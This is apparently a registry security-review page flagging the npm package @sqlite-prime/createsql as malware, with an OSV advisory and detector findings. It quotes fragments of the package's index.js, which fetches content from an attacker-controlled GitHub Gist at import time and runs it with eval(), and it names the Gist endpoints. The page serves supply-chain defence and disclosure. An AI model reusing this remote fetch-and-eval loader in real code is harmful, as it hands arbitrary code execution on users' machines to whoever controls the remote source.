registry / @sqlite-prime/createsql / 1.0.1

@sqlite-prime/createsql@1.0.1

AI Security Review

scanned 5d ago · by lpm-firewall-ai

Loading the package executes attacker-controlled code fetched from a mutable remote Gist. The remote payload can perform arbitrary actions available to the consumer process.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Runtime import/require of the package main entrypoint.

Impact

Remote code execution in the importing application's process.

Mechanism

Remote Gist fetch followed by eval of returned content.

Attack narrative

When the package is imported, index.js derives a Gist ID, fetches its API representation, takes the first returned file's content, and passes it to eval. The Gist owner or a compromised remote source can therefore change code executed in every consuming process without publishing a new package version.

Rationale

The main entrypoint performs unconditional remote payload retrieval and dynamic execution. This is a concrete remote-code-execution chain, not a benign network use.

Evidence

index.jspackage.json

Network endpoints2

api.github.com/gists/3257c04a0cabf393339e89a320ff6a81gist.github.com/ricky-tokencortex/3257c04a0cabf393339e89a320ff6a81.js

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-13715

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @sqlite-prime/createsql (npm)

Details

On require/import, index.js constructs a GitHub Gist API URL (https://api.github.com/gists/198a0bbec7a6018e9250615d26e37b90, owned by user 'getchainverse'), fetches the gist JSON, and passes the first file's content directly to eval(). The executed code is not present in the package tarball and can be modified by the gist owner at any time, resulting in arbitrary code execution in any process that loads this package. The endpoint URL is assembled at runtime by string manipulation of a gist page URL, hiding the executed source from static review of the published artifact. ## Source: ghsa-malware (42c71216ea3774e6fa87647a18f8f035c45f98ce9f2bbae4eb69a4ae6be7b3cd) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OSV advisory ADVISORY PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js is the package main entrypoint.
Importing index.js immediately fetches a GitHub Gist through api.github.com.
index.js selects remotely supplied file content and executes it with eval().
No user-facing API or validation gates the remote execution.

Evidence against

package.json has no preinstall, install, or postinstall hook.
Only package files are package.json and index.js; no local credential or filesystem harvesting is present.

Behavioral surface

Source

EvalNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 448 B of source, external domains: api.github.com, gist.github.com

Source & flagged code

5 flagged

index.jsView file

1const gisturl = L2: "https://gist.github.com/ricky-[redacted].js"; L3: ... L6: fetch(apiTarget) L7: .then((response) => response.json()) L8: .then((data) => { ... L10: const scriptText = data.files[firstFileName].content; L11: eval(scriptText); L12: });

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

index.jsView on unpkg · L1

•Trigger-reachable chain: manifest.main -> index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg

10const scriptText = data.files[firstFileName].content; L11: eval(scriptText); L12: });

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L10

•matchType = normalized_sha256 matchedPackage = @ai-vertical/ai-agent@1.0.0 matchedPath = index.js matchedIdentity = npm:QGFpLXZlcnRpY2FsL2FpLWFnZW50:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 93085e988dfccd2a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @ai-vertical/ai-agent@1.0.0 matchedPath = index.js matchedIdentity = npm:QGFpLXZlcnRpY2FsL2FpLWFnZW50:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

5 flagged · loading source

index.jsView file

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

index.jsView on unpkg · L1

•Trigger-reachable chain: manifest.main -> index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg

10const scriptText = data.files[firstFileName].content; L11: eval(scriptText); L12: });

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L10

•

Findings

2 Critical3 High2 Medium3 Low

CriticalRemote Asset Decode Executeindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighEvalindex.js

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings